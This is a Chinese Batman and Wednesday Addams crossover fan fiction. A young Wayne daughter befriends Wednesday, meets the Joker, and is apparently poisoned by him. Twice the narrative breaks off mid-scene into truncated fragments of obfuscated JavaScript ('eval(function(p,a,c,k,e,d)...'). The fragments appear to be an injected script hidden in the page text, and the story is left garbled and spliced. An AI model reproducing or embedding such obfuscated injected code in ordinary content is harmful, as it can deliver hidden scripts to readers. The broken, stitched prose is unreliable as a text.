星期三带她上楼,走进自己的房间。 房间是黑色的。黑色的墙壁,黑色的窗帘,黑色的床单,黑色的娃娃。唯一的亮色是床头那只绿色的小鳄鱼,和角落里一个玻璃缸。 玻璃缸里有一只手。 白色的,有五根手指,静静地躺在沙子上。 艾瑞斯凑过去看。 “这是什么东西?” “手。”星期三说。 “什么的手?” “不知道。妈妈给我的。” 艾瑞斯看着那只手,看了很久。 “它会动吗?” “会。” “它有名字吗?” “叫东西。” 艾瑞斯想了想。 “那你明天可以带它出来玩吗?” 星期三愣了一下。“……你想带它出来玩?” “嗯。”艾瑞斯点点头,“它一直待在缸里,会不会无聊?” 星期三沉默了。 她第一次遇到有人关心她的手无不无聊。 “……也许吧。”她说。 后来,那只叫“东西”的手,成了艾瑞斯的第三个朋友。 虽然它不会说话,不会动,只能躺在玻璃缸里。但艾瑞斯每次来都会跟它打招呼,跟它讲自己今天看到了什么,跟它说星期三今天笑了几次。 星期三有时候会想:这个女孩真的很奇怪。 但她没有说出来。 她只是每天等在门口,等她来。 暑假结束的时候,艾瑞斯在幼儿园的“我的朋友”主题画展上,画了三幅画。 一幅是一个穿风衣的男人,站在巷子里抽烟。 一幅是一个白胡子老爷爷,坐在长椅上喂鸽子。 一幅是一个穿黑裙子的小女孩,站在门廊上,旁边放着一只玻璃缸。 老师问她:“这些是你的朋友吗?” 艾瑞斯点点头。 “他们多大呀?” 艾瑞斯想了想。 “这个三十五岁。这个七八十岁。这个和我一样大。”她指了指那幅玻璃缸,“这个……不知道。” 老师看着那幅画,沉默了一会儿。 “……这是什么?” “手。”艾瑞斯说,“它叫东西。” 老师没有再问。 那天下午,达米安来接艾瑞斯放学。 他把那幅画拿起来看了看,又放下。 “…抽象派。” 艾瑞斯没生气。她牵起他的手,笑嘻嘻的。 “带我回家吧,哥哥!” 达米安低头看她。 她笑得很开心,眼睛弯弯的,露出缺了一颗的门牙。 他握紧那只小手。 “走吧。” 5. 第一天 艾瑞斯外出玩耍,和星期三一起。 她们约好今天要去森林公园里探索。这几天都是大晴天,阳光把哥谭那些灰扑扑的建筑都照得亮了些,是个适合出门的好日子。 老实说,哥谭的森林公园还是很美丽的。 它不像市中心那些刻意修剪的花园,而是保留了原始的感觉。树木高高低低地挤在一起,有些树根从泥土里凸出来,像巨大的蟒蛇盘在地上。野花东一簇西一簇地开着,颜色杂得很,但看着就热闹。偶尔有小动物从灌木丛里窜出来——松鼠、野兔,或者不知道谁家跑丢的猫。 艾瑞斯喜欢这里。 星期三也跟着来。 她没有说过自己喜欢不喜欢,但她每次都来,每次都跟着艾瑞斯走遍每一条小路。这本身就已经是答案了。 “今天走哪边?” 星期三站在森林公园入口,黑色裙摆被风吹起一点,脸上是惯常的没什么表情。 艾瑞斯歪着头看了看两条分叉的小路。 左边那条她走过,通向一个小湖,湖里有鸭子。右边那条没走过,看起来更野一些,树更密,草更深。 “右边。”她指着右边。 星期三点点头,跟着她走进去。 森林公园是开放的,一般来说是安全的。 但哥谭并不一样。 这座城市时常会有奇怪的人出现。阿福每次送她们出门都会叮嘱:不要走太远,不要和陌生人说话,遇到奇怪的人就往人多的地方跑。达米安送她的时候什么都不说,但会把她送到公园门口,站在那看着她们走进去,直到看不见了才离开。 可能是因为公园的附近是哥谭大学。 而哥谭大学的对面,是阿卡姆疯人院。 艾瑞斯和星期三原本的想法是直接去阿卡姆附近转悠的。她们想看看那个传说中的地方长什么样——电视里偶尔会出现关于阿卡姆的新闻,画面里总是一栋灰扑扑的建筑,周围有高高的围墙。 但这个想法被家里人拒绝了。 拒绝得非常彻底。 布鲁斯蹲下来看着她,用那种“这是认真的”语气说:“阿卡姆附近不能去。” “为什么?” “因为那里关着一些……生病的人。” 艾瑞斯想了想。“什么病?” 布鲁斯沉默了一下。“会让别人受伤的病。” 艾瑞斯没有继续问。但她记住了那个地方的名字。 阿卡姆。 森林公园和哥谭大学之间只隔了一条湖。 艾瑞斯知道。她看过地图。 她们在森林公园里转了一个多小时,看了松鼠,追了蝴蝶,在一条小溪边捡了几块好看的石头。星期三的口袋里装了三块,艾瑞斯的袋子里装了五块。 太阳慢慢升到头顶,热起来了。 “要不要去那边看看?”艾瑞斯指着公园边缘的方向。 星期三顺着她的手看过去。那边树木稀疏一点,隐约能看到栏杆,栏杆外面是一条街道。 “哪里?” “那边。”艾瑞斯说,“大学那边。” 星期三看着她。 艾瑞斯眼睛亮晶晶的,是那种“想去看看”的眼神。 星期三沉默了两秒。 “走。” 她们沿着公园边缘走,找到了一处栏杆比较矮的地方。 艾瑞斯先爬过去。星期三跟着,动作比她更利落,裙子都没沾上灰。 街对面就是哥谭大学。 灰色的建筑,爬满常青藤的墙,几棵老树从围墙里探出枝叶。校门口有学生在进出,背着书包,手里拿着书,看起来和普通的大学生没什么区别。 艾瑞斯看了一会儿。 “他们看起来好大。”她说。 “大学生。”星期三说,“本来就大。” “你以后会上大学吗?” 星期三想了想。“可能。” “那我也上。”艾瑞斯说,“我们上同一个。” 星期三没有说话,但嘴角微微动了一下。 她们沿着街道慢慢走。 哥谭大学的围墙很长,隔一段就有一扇铁门,有的开着,有的关着。透过铁门能看到里面的草坪和教学楼,有人在草坪上坐着看书,有人在路边聊天。 艾瑞斯看得很认真。 星期三跟在旁边,偶尔瞥一眼,更多时候在看周围。 这是她的习惯。 艾瑞斯是一个好奇心很强的小女孩。她看到什么都想凑过去看看,遇到什么都想研究一下。大多数时候这没什么,但哥谭不是普通的地方。 星期三知道。 所以她总是在旁边看着。 走到围墙尽头的时候,她们看到了那条路。 路牌上写着:阿卡姆路。 顺着路看过去,能远远看到一栋灰扑扑的建筑,被高高的围墙围着。围墙上拉着铁丝网,门口有个岗亭,有人在那站着。 那就是阿卡姆疯人院。 艾瑞斯停下来,远远地望着那栋建筑。 “就是那里。”她说。 星期三站在她旁边,也望着那边。 艾瑞斯看了一会儿,正要开口说什么,忽然听到身后传来一个声音。 “哎呀,两个小女孩,站在这里看什么?” 那声音有点怪。 不是正常的说话声调,而是像在唱歌,又像在笑,每个字都拖着一点奇怪的尾音。 艾瑞斯转过身。 一个男人站在她们身后不远处。 他穿着紫色的西装,绿色的头发乱糟糟地堆在头上,脸上涂着白色的粉,嘴巴涂得红红的,一直咧到耳朵根。他靠在路边的灯柱上,歪着头看她们,眼睛弯成两道缝。 艾瑞斯眨了眨眼。 星期三没有动。她只是站在艾瑞斯旁边,看着那个男人。 男人笑起来,笑声有点尖,像玻璃刮过金属。 “你们在看阿卡姆?”他问,“哎呀,那可真是个有趣的地方。我经常去那里做客,里面的朋友都很好玩。” 艾瑞斯看着他。 她没有害怕——她很少害怕什么——只是觉得这个人很奇怪。他的眼睛虽然在笑,但里面没有笑的意思。 “你是谁?”她问。 男人弯下腰,凑近了一点。 星期三依然没有动。她只是看着。 “我是谁?”男人重复艾瑞斯的问题,“嗯……一个朋友?一个笑话?一个想看看哥谭的小孩长什么样的人?” 他低头看着艾瑞斯,眼睛里的笑意更深了。 “你长得有点像一只大蝙蝠。”他说,“眼睛像,眼睛像……嗯,像什么来着?像哥谭的海?哥谭的海有颜色吗?” 艾瑞斯愣了一下。 男人看到她的表情,又笑起来。 “别紧张别紧张,我不认识他,不熟,不熟。他不太喜欢我,我也不太喜欢他。但我们有个共同点——我们都喜欢哥谭。” 他伸出一只手,指了指周围。 “哥谭是个好地方。到处都是有趣的人,有趣的事。你们两个也是有趣的。” 他的手慢慢放下,指向阿卡姆的方向。 “那边更有趣。”他说,“等你们长大了,说不定会想去看看。里面有好多好玩的人,会唱歌,会跳舞,会讲笑话。我经常去给他们讲笑话。” 他忽然蹲下来,和她们平视。 那张涂满白粉的脸离得很近,红色的嘴巴咧得很开,绿色的眼睛一眨不眨地盯着她们。 “你们喜欢笑话吗?” 艾瑞斯看着他,想了想。 “我喜欢好笑的笑话。” 男人愣了一下。 然后他笑得更厉害了,笑得肩膀都抖起来。 “喜欢好笑的笑话!”他重复着,笑得喘不过气,“喜欢好笑的笑话!天哪,这小孩有意思!比那些一看到我就哭的有意思多了!” 他站起来,拍了拍西装上并不存在的灰。 “好,好。那我送你一个笑话。” 他弯下腰,凑近艾瑞斯的耳朵。 声音压得很低,只有她能听见: “哥谭的每个人都在等一个笑话。等你爸爸,等那些穿披风的,等一个永远不会来的结尾。但你知道笑话的结尾是什么吗?” 他直起身,冲她眨眨眼。 “没有结尾。笑话永远在讲。永远。” 他退后两步,冲她们挥挥手。 “再见啦,两个小女孩。别在阿卡姆门口站太久,风大,会感冒。” 他转身走了。 紫色的背影在阳光下晃了晃,拐过一个街角,不见了。 艾瑞斯站在原地,望着他消失的方向。 过了一会儿,她转过头看星期三。 星期三也在看那个方向,但脸上什么表情都没有。 “那个人好奇怪。”艾瑞斯说。 星期三点点头。 “他说不认识我爸爸。” 星期三又点点头。 “他说的话我有些听不懂。” 星期三看着她。 艾瑞斯歪着头想了想,然后摇摇头,把那些听不懂的话甩开。 “走吧,回去。”她说。 星期三转身,和她一起往回走。 她们穿过那条街,翻过栏杆,回到森林公园里。 阳光还是那么亮,松鼠还是那么跳,一切看起来都和之前一样。 艾瑞斯走了一会儿,忽然停下来。 “星期三。” “嗯。” “你害怕吗?” 星期三看着她。 “不害怕。”她说。 “为什么?” “他不奇怪。”星期三说,“我见过很多奇怪的。” 艾瑞斯想了想,点点头。 “那你觉得我应该害怕吗?” 星期三沉默了一下。 “你觉得应该就害怕。”她说,“觉得不应该就不害怕。” 艾瑞斯笑了。 “那我应该不害怕。”她说,“他说话我听不懂,听不懂的不用怕。” 星期三点点头。 她们继续往前走。 下午四点,星期三跟着艾瑞斯回了韦恩大宅。 这是她们早就约好的——星期三来家里做客,看艾瑞斯那一屋子的鳄鱼玩偶,看那个她一直在说的aaa布鲁斯。 韦恩大宅的大门打开,阿尔弗雷德站在门口迎接。 “欢迎两位小姐回家。”他微微欠身,目光在艾瑞斯脸上停了一秒。 艾瑞斯笑了一下,和平时一样。 阿福没有多问。 星期三站在艾瑞斯的房间门口,望着那一屋子的鳄鱼玩偶。 她见过很多奇怪的东西。会动的手,黑色的魔法,死不了的人。但一屋子的鳄鱼玩偶,她还是第一次见。 “这些都是你的?” “嗯。”艾瑞斯走进去,抱起aaa布鲁斯,“这个是aaa布鲁斯,我最喜欢的。” 星期三走进去,环顾四周。 鳄鱼们围成一圈,从床边到窗台,从床头到书架。大的小的,绿的灰的,有的睁着眼睛,有的闭着眼睛,有一只按下肚子会唱生日歌。 星期三在床边坐下,伸手摸了摸旁边的一只小鳄鱼。 “你为什么喜欢鳄鱼?” 艾瑞斯抱着aaa布鲁斯,在她旁边坐下。 “因为它们很厉害。”她说,“在水里可以游,在岸上可以走。牙齿很多,咬东西很用力。但是小鳄鱼刚孵出来的时候,只有这么大——” 她用手比了一个很小的圆。 “小小的,在水里游来游去,眼睛圆圆的。阿福给我看过视频。” 星期三听着。 “而且它们不会变。”艾瑞斯继续说,“喜欢什么就一直喜欢。住在哪里就一直住在那里。” 她低下头,看着怀里的aaa布鲁斯。 “就像这个。它一直在这里。” 星期三没有说话。 她只是看着艾瑞斯,看着她抱着那只鳄鱼玩偶的样子。 过了一会儿,艾瑞斯抬起头。 “你要抱抱吗?” 星期三顿了一下。 “……不用。” “那你摸摸。”艾瑞斯把aaa布鲁斯递过来,“它很软。” 星期三伸出手,摸了摸那只鳄鱼的头。 确实是软的。 晚餐的时候,布鲁斯回来了。 他走进餐厅,看到星期三坐在艾瑞斯旁边,两个小女孩正在小声说话。 艾瑞斯看到他,眼睛亮了。 “爸爸!” 布鲁斯走过去,揉了揉她的头发,又对星期三点了点头。 “欢迎来做客。” 星期三点点头,没有说话。 晚餐很丰盛,阿福做了拿手的菜。艾瑞斯一边吃一边给星期三介绍每道菜的名字,星期三听得很认真,偶尔点点头。 布鲁斯看着她们,没有多问。 晚餐后,星期三的管家来接她。那是一个巨大而沉默的人。 艾瑞斯送到门口,挥挥手。 “明天还来吗?” 星期三想了想。“可以。” “那我们还去探险。” 星期三看着她。 艾瑞斯笑得很开心,好像白天那个奇怪的人已经被忘掉了。 星期三点点头。 “来。” 她转身,跟着妈妈上了车。 艾瑞斯站在门口,看着那辆车消失在夜色里。 那天晚上,艾瑞斯做噩梦了。 梦里她站在一条很长的路上。 周围很黑,只有远处有一点光。她往前走了几步,发现那光是阿卡姆疯人院门口的灯。 她想转身走,但脚动不了。 然后她听到笑声。 不是一个人的笑声,是很多人的笑声。从四面八方传来,尖的,粗的,高的,低的,混在一起,越来越响。 她捂住耳朵,但笑声还是钻进来。 “艾瑞斯——” 有人在叫她。 她抬起头,看见那个绿头发的男人站在路灯下,冲她笑。 “你爸爸来了——”他指着另一边。 艾瑞斯转过头。 蝙蝠侠站在黑暗中。 黑色的披风,黑色的头盔,只有下巴露在外面。他望着她,但没有走过来。 艾瑞斯没有说话。 她也没有动。 蝙蝠侠没有动。 笑声越来越响。 “他听不见你。”那个男人的声音在耳边响起,“他谁都听不见。他只听得到哥谭的哭声。” 艾瑞斯回过头。 男人不见了。 笑声也没有了。 周围忽然变得很安静。 安静得可怕。 她低头一看,发现自己站在一片水边。水很静,像镜子一样,倒映着天上的月亮。 然后水里浮起一只鳄鱼。 小小的,眼睛圆圆的,望着她。 艾瑞斯蹲下来,伸出手。 小鳄鱼游过来,把头抵在她的手心。 冰凉的,但很轻。 “你害怕吗?”她问。 小鳄鱼没有说话。 但它没有走开。 “艾瑞斯。” 有人在叫她。 艾瑞斯睁开眼。 布鲁斯坐在她床边,一只手轻轻按着她的肩膀。 房间亮着一盏小夜灯,鳄鱼玩偶们围成一圈,安安静静地待在原地。 艾瑞斯眨了眨眼,有点恍惚。 “做噩梦了?”布鲁斯的声音很轻。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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就像她有自己的秘密一样——她藏起过一颗捡到的玻璃珠,藏起过一句不想说的话,藏起过一次小小的难过。 秘密是可以的。 她只是等着。 等着有一天,爸爸自己想告诉她。 “爸爸。” “嗯。” “早点睡。” 布鲁斯顿了顿。 “会的。” 艾瑞斯伸手,摸了摸他的脸。 “那你快会房间吧,记得喝牛奶。” 布鲁斯低下头,看着女儿认真的表情。 他忽然想说点什么。 关于今晚去处理的事情,关于那个绿头发的男人,关于他为什么总是晚归,关于那些她迟早会知道的事。 但话到嘴边,他又咽了回去。 还不是时候。 “好。”他说,“等哄你睡着了,我就去睡。” 艾瑞斯满意地点点头,重新窝回他怀里。 过了一会儿,她的呼吸变得均匀。 睡着了。 布鲁斯没有动。 他就那样抱着她,坐在床边,看着那满屋子的鳄鱼玩偶。 窗外,哥谭的夜一如既往地深沉。 但这里很安静。 第二天早晨,八点二十五分。 阿尔弗雷德站在走廊里,望着那扇紧闭的卧室门。 门上挂着一块新的牌子。 浅蓝色的卡纸,用彩色蜡笔画着两个小人——一个穿碎花裙,一个穿黑裙子。她们手牵着手,站在一片绿色的背景前。旁边歪歪扭扭写着一行字: [今天和星期三去探险] 阿福弯起唇角。 八点三十五分,门把手转动了。 艾瑞斯出现在门口,穿着她的小睡衣,精神比昨天好多了。她伸出手,抓住阿福的衣角。 “早安,阿福。” “早安,艾瑞斯小姐。” 他们一起走向楼梯。 走到一半,艾瑞斯忽然想起什么,回头看了一眼布鲁斯的卧室方向。 那扇门关着。 爸爸应该还在睡。 她笑了笑,继续走。 下午两点,艾瑞斯准时出现在星期三家门口。 星期三已经在等了。 她今天穿着黑裙子,头发扎成两条辫子,手里拿着一个小袋子。 “这是什么?”艾瑞斯指着袋子。 星期三打开给她看。 里面是一只小玻璃瓶,瓶子里装着一只干枯的……什么东西。 “蟾蜍脚。”星期三说。 艾瑞斯盯着那只干枯的脚看了三秒。 “……它会动吗?” “不会。” “那它有什么用?” 星期三想了想。“妈妈说可以辟邪。” 艾瑞斯点点头,从口袋里掏出一样东西。 是aaa布鲁斯。 “这个给你。” 星期三低头看着那只绿色的鳄鱼玩偶。 “这不是你最喜欢的吗?” “嗯。”艾瑞斯坦诚地说,“但是你是我最好的朋友。可以分你一半。” 星期三沉默了一下。 然后她伸出手,接过aaa布鲁斯。 “……谢谢。” 艾瑞斯笑了,露出缺了一颗的门牙。 “走吧!今天去森林公园另一边!” 星期三把小鳄鱼小心地装进袋子,和蟾蜍脚放在一起。 然后她伸出手,牵住艾瑞斯。 阳光落在两个小小的身影上。 哥谭的天空难得地蓝,有几朵白云慢慢飘过。 森林公园里的松鼠又开始跑,野花继续开,小溪继续流。 艾瑞斯牵着星期三的手,蹦蹦跳跳地往前走。 她想起昨天的梦,想起那个绿头发的男人说的话,想起爸爸抱着她说“你叫我,我就会答应”。 她想起爸爸眼睛里那种她看不懂的光。 她想起自己藏在心里的那些小小的秘密。 她想起阿福说的话:布鲁斯老爷在守护哥谭。 守护。 她不太懂这个词的全部意思。但她知道,爸爸在做很重要的事。 总有一天,他会告诉她。 她等着。 “星期三。” “嗯。” “你有秘密吗?” 星期三看她一眼。 “有。” “你等过别人告诉你秘密吗?” 星期三想了想。 “等过。” “等到了吗?” “没有。” 艾瑞斯点点头。 “那我陪你等。” 星期三没有说话。 但她把艾瑞斯的手握得更紧了一点。 远处,哥谭大学的教学楼安静地立在阳光下。 更远处,阿卡姆疯人院的灰墙在树影里若隐若现。 但两个小女孩没有回头。 她们走在森林公园的小路上,走在一片金色的阳光里。 艾瑞斯忽然停下来,指着树上一只松鼠。 “你看!” 星期三顺着看过去。 松鼠抱着一个果子,正蹲在树枝上啃。 艾瑞斯笑了,继续往前走。 6. 死亡?(已修) 艾瑞斯以为日子会一直这么快乐地过下去。 她每天起床,吃早饭,出门找星期三探险。回家,看电视,等爸爸回来。有时候爸爸回来得早,她就窝在他怀里看一集动画片。有时候爸爸回来得晚,她就抱着aaa布鲁斯先睡,第二天早上再去抓他的衣角。 日子像一条平稳的小河,慢慢地流。 但很明显,她父亲的担忧并无道理。 新闻开始变得不一样了。 艾瑞斯看电视的时候注意到了。以前电视里也播新闻,但大多是些她听不懂的事。现在不一样了,现在电视里经常出现一个人。艾瑞斯很少看新闻,按杰森的话来说就是**。艾瑞斯的平板上也没有那些东西,提姆为艾瑞斯开了绿网。而现在艾瑞斯是在大街上看到的。 那个人穿着紫色的西装,绿色的头发,脸上涂着白粉,嘴巴涂得血红。 那个曾与她说过话的小丑先生。 艾瑞斯记得他。他在阿卡姆路边跟她说了一个笑话,说哥谭的每个人都在等一个笑话,说笑话没有结尾。 现在他平平登上新闻。 新闻里的主持人声音很严肃,说“小丑又制造了袭击”,说“警方正在全力追捕”,说“请市民减少外出”。 艾瑞斯看着屏幕里那个笑得很夸张的人,想起他凑近自己耳朵说话的样子。 她不太明白发生了什么。 布鲁斯变得非常忙碌。 他回家的时间越来越晚,有时候甚至整夜不回来。艾瑞斯早上起床去看他的卧室,门总是关着,里面空空的。 阿福说:“布鲁斯老爷有重要的工作。” 艾瑞斯点点头,虽然她明了她的父亲在外的形象但她解释了这个说辞。 达米安也变得忙碌。他不再在花园里练刀了,而是经常晚上出门,早上回来的时候脸上有伤。艾瑞斯看到了,没有问。 迪克回来的次数变少了。杰森的通话时间也变得短起来。提姆的黑眼圈越来越重,咖啡一杯接一杯地喝。 家里的人都在忙。 只有艾瑞斯一个人,显得格格不入。 她还是会出门找星期三玩。 但星期三的妈妈说,最近不安全,让她们少出门。所以她们改成在星期三家里玩,或者艾瑞斯在家里等星期三来。 有一天,星期三问她:“你害怕吗?” 艾瑞斯想了想。“不害怕。” “为什么?” “没有为什么。”艾瑞斯说。 星期三看着她,没有说什么。 但爸爸不在家的时候,艾瑞斯会抱着aaa布鲁斯,坐在窗边看外面的天。 哥谭的天总是灰灰的,偶尔有阳光,也是薄薄的一层,照不透那些乌云。 她知道爸爸在外面做什么。她也知道那很危险。 迪克有一次说漏了嘴,说“最近小丑闹得太凶了”。阿福咳嗽了一声,迪克就不说了。 艾瑞斯其实她一直知道。 小丑。 那个绿头发的人。 她从来不是什么无知女孩,从第一次睁眼看这个世界就在思考。 她知道爸爸有秘密。她知道哥哥们有秘密。她知道晚上他们出门做的事,不是普通的工作。 她从来没有问过。 因为她等着。 等着有一天,爸爸自己想告诉她。 其实艾瑞斯回到韦恩家,只比达米安早一天。 在那之前,她知道自己还有另一个家。 两岁以前,她被布鲁斯找的父母们养着。那对夫妇很好,会给她讲故事,会给她买玩具,会在她发烧的时候整夜守着。她叫他们“妈妈”和“爸爸”,虽然她知道那不是真的爸爸妈妈。 她的眼睛和布鲁斯太像了,而布鲁斯也不止出现在电视和新闻上。他们在街上遇到过很多次。 养父母虽然很爱她但也曾在深夜里担忧过。他们以为她不懂,但她懂。她从小就知道,自己不属于他们。 所以艾瑞斯扮演着。 在养父母面前,她扮演一个沉默的女孩。不说话,不问问题,不让他们为难。她不知道自己是否是被抛弃的,那么乖一些总是没错的。 然后她错失了表达爱的机会。 那个深夜,养母背着她回家。 艾瑞斯刚打完退烧针,迷迷糊糊地趴在养母背上。寒风瑟瑟,哥谭的夜暗得看不清路。养母手里拿着一束蓝色的鸢尾花,是艾瑞斯喜欢的,白天路过花店时她多看了一眼,养母就记住了。 然后暗巷里伸出了手。 艾瑞斯不记得发生了什么。她只记得摔在地上,很疼。她只记得养母倒在她旁边,一动不动。她只记得那束蓝色的鸢尾花被践踏在地,染上了红色。 那天夜里,她学会了说话。 她趴在血泊中,看着那些红色蔓延开来,嘴里呢喃着什么。她自己都不知道在说什么。 那天夜里,她看见了这座城市的骑士。 黑色的披风从夜空中落下来,停在离她不远的地方。那个人蹲下来,看着她。他戴着面具,但她看到了他的眼睛。 蓝色的。 和她一样。 艾瑞斯在医院醒来。 她不知道过了多久。她只知道醒来的时候,身上缠着绷带,动弹不得。护士小姐会来和她聊天,说一些有的没的。艾瑞斯听着,不说话。 她从那些细小的谈论声中,拼凑出一些真相。 养父母死了。 她不知道自己是怎么活下来的。 三个月,她瘫痪在床上,盯着苍白的天花板。没有人来看她。只有护士小姐偶尔和她说话,说今天天气怎么样,说午饭吃什么,说外面有一只猫跑过去了。 艾瑞斯听着,不说话。 她已经习惯了不说话。 或许是在一个春天里的晴天,哥谭想起来了这个女孩。 布鲁斯出现了。 他站在病房门口,手里拿着一只玩偶——是养父母送给她的,不知道他从哪里找回来的。他还拿着一束蓝色的鸢尾花。 他走进来,把花放在床头,把养父母买的玩偶放在她手边。 然后他开始说话。 他说了她的养父母的事。说那是不幸的意外。说他很抱歉。 他说完这些客套话后,沉默了起来。 他站在那里,看着艾瑞斯,嘴唇动了动,像是还想说什么。 他看着艾瑞斯看着窗外,左手被绷带裹着,右手打着点滴。她转过头,看着这个陌生人。 她微笑了一下。 布鲁斯看着那个笑容,忽然什么话都说不出来了。 他站了一会儿,转身走了。 艾瑞斯看着那个背影消失在门口。 她记得她见过他很多次。在电视上,在报纸上,在游乐场远远的人群中。那些花边新闻总说他是个花花公子,今天和这个约会,明天和那个跳舞。 但她见过他另一种样子。 那个夜晚,黑色的披风,蓝色的眼睛。 她知道他为什么来。但她不知道他还会不会来。 她只是看着床头那束蓝色的鸢尾花,和那只熟悉的玩偶。 下个月,他又来了。 然后下下个月。 整整一个月,布鲁斯都时不时来探望她。艾瑞斯总是安静地听着这个陌生人说话。他说今天哥谭出了什么事,说家里有一个老管家做饭很好吃,说他有一个很大的房子,有很多房间。 艾瑞斯听着,不说话。 到下个月的时候,他似乎说服了自己。 他坐在她床边,沉默了很久。 然后他说:“我是你的亲生父亲。” 艾瑞斯看着窗外。 窗外的天很蓝,像鸢尾花的颜色。 她想过很多次这句话。从她第一次注意到自己和电视上那个人有一样的眼睛开始,从她发现养父母看她的眼神总是带着一种小心翼翼开始。 她想过如果有一天他来了,会说什么。 现在他来了。 他说了这句话。 艾瑞斯转过头,看着他。 他的眼睛很蓝,和她的眼睛一样。 她有很多问题,但似乎那些问题都随着她的过去而逝去。 她没有问。 她只是看着他,看了很久。 然后她又看向窗外。 “嗯。”她说。 三岁那年,艾瑞斯的病养好了。 布鲁斯把她接回韦恩大宅。 她变得开朗活泼起来。她会笑,会闹,会撒娇,会在门牌上写各种奇怪的话。她仿佛不记得以前的事,仿佛一直生活在这个地方,过得十分幸福。 她知道一件事:爱是需要大大方方表达的事。 那些她错过的、没说出口的,她再也不会错过了。 所以她每天早上去抓阿福的衣角。 每天晚上等布鲁斯回来。 每次见到哥哥们就跑过去抱一下。 每次星期三来,就带她看自己的鳄鱼玩偶,分她一半。 她用自己的方式爱着他们,一切的秘密都不重要。 她等着。 那一天,艾瑞斯想出门。 不是去森林公园,不是去星期三家。她想去市中心。 “阿福,我想去市中心。” 阿福正在准备午餐,闻言转过头来。 “小姐,最近外面不太安全。” “我知道。”艾瑞斯说,“但我想去给爸爸买个东西。” 阿福看着她。 艾瑞斯从口袋里掏出一张纸,上面画着一只鳄鱼。不是普通的鳄鱼,是一只穿着黑色披风的鳄鱼。 “我想给他买个礼物。”她说,“他最近太累了。” 阿福沉默了。 他想起布鲁斯昨晚回来时的样子,披风上有硝烟的味道,脚步比平时更沉。 “我陪您去。”他说。 艾瑞斯摇摇头。“我想自己去,阿福你不是还有家务要做吗?” 阿福皱起眉。 “我带着通讯器。”艾瑞斯举起手腕,那只衔着鸢尾花造型的手表在光下闪了闪,“有事我就叫你们。” 阿福看着她,看了很久。 最后,他妥协了。 “一个小时。”他说,“一个小时后必须回来。” 艾瑞斯笑了,露出缺了一颗的门牙。 “好!” 哥谭市中心今天的人还是很多,无论如何这座城市都不会丢掉她的忙碌。 街上店铺开着门,顾客也很多。艾瑞斯一个人走着,背着她的小书包,书包上挂着一只她自己缝的鳄鱼。 她先去了一家饰品店。 橱窗里摆着很多东西,亮晶晶的,闪闪的。她看了很久,没找到适合爸爸的。 她又去了一家书店。 爸爸喜欢看书吗?她不太确定。但她记得爸爸书房里有很多书,那些书看起来很厚,字很小。 她还是没找到合适的。 最后,她在一家小花店门口停下来。 花店门口摆着很多花,红的,黄的,粉的,紫的。艾瑞斯一眼就看到了那束蓝色的。 鸢尾花。 她喜欢的花。 她走进去,用零花钱买了一支。 蓝色的,花瓣软软的,像蝴蝶的翅膀。 她小心地捧着花,走出花店。 街上的人变少。 艾瑞斯没注意到。她只想着快点回家,把花给爸爸。 她走过一条街,又走过一条街。 巷子里忽然传出一个声音。 “well,well……” 艾瑞斯停下来。 她转过头。 巷子里站着一个人。 紫色的西装,绿色的头发,白白的脸,红红的嘴巴。 小丑。 他靠在墙边,歪着头看她,眼睛弯成两道缝。 “这不是我们可爱的小鸢尾花吗?” 艾瑞斯站在原地,看着他。 她没有跑。 小丑走过来,步子很慢,鞋跟敲在地上,哒,哒,哒。 他低头看着她手里的花,又看看她的眼睛。 “你是知道的吧,”他说,舔了舔自己的嘴角,脸上是止不住的笑,“那只每天在哥谭里飞来飞去的小可爱,是你最爱的人。” 艾瑞斯看着他。 她的眼睛很平静。 没有惊讶,没有害怕,没有被戳破秘密的慌乱。 她只是有些放松。 那种“终于有人说出这件事了”的放松。 小丑注意到了。 他笑得更开心了。 “看看!看看!”他张开双手,像是要拥抱什么,“爸爸是戴面具的骗子——而女儿更为杰出,她不用戴面具就能扮演。” 他弯下腰,凑近艾瑞斯的脸。 “你一直在演,对不对?演一个什么都不知道的快乐小孩。可你什么都知道。” 艾瑞斯看着他。 她没有说话。 但她也没有否认。 小丑盯着她的眼睛,盯了很久。 然后他直起身,笑得肩膀直抖。 “太棒了。太棒了。布鲁斯·韦恩,你养了个什么样的女儿啊。” 他从口袋里掏出一样东西。 是一颗糖。 彩色的糖纸,亮晶晶的,包着一颗圆圆的糖。 “送你。”他说,“谢谢你让我看到这么有趣的东西。” 艾瑞斯低头看着那颗糖。 糖纸在阳光下闪闪发光,很漂亮。 “我不要。”她说。 小丑愣了一下。 然后他笑了,笑得比刚才更大声。 “不要?为什么?” “爸爸说不能要陌生人的东西。” 小丑笑得直不起腰。 “陌生人!我是陌生人!”他笑得喘不过气,“好,好,好孩子,真是好孩子。” 他直起身,擦了擦眼角不存在的眼泪。 “那这样。”他把糖放在旁边的台阶上,“我放在这里,你如果想拿,就自己拿。这不算陌生人给的,是你自己捡的。” 他退后两步,冲她挥挥手。 “再见啦,小鸢尾花。” 他转身走进巷子深处,紫色的背影晃了晃,不见了。 艾瑞斯站在原地,看着那颗糖。 彩色的糖纸,在阳光下很漂亮。 她没有捡。 她转身,往回家的方向走。 走了两步,她停下来。 她想起小丑说的最后一句话。 小鸢尾花。 她低头看了看手里的花。 蓝色的鸢尾花,像她的眼睛。 她忽然想起另一个夜晚。另一束鸢尾花。另一个倒在血泊中的人,这些想法让她的脑子变得昏沉起来。 她继续往前走。 艾瑞斯不知道那颗糖有问题。 她甚至没有捡。 但小丑不需要她捡。 他在巷子里站了那么久,等了那么久,等的不是她捡起那颗糖。 他等的只是她站在那里。 那颗糖被放在台阶上,被风吹,被太阳晒。糖纸上的彩色慢慢褪掉,里面的东西慢慢融化,融化成看不见的东西,飘进空气里。 艾瑞斯站在那里的时候,呼吸过那里的空气。 就够了。 艾瑞斯倒下了。 不知道为什么。 她正走在回家的路上,手里还握着那支蓝色的鸢尾花。街角就在前面,再转个弯就能看到韦恩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 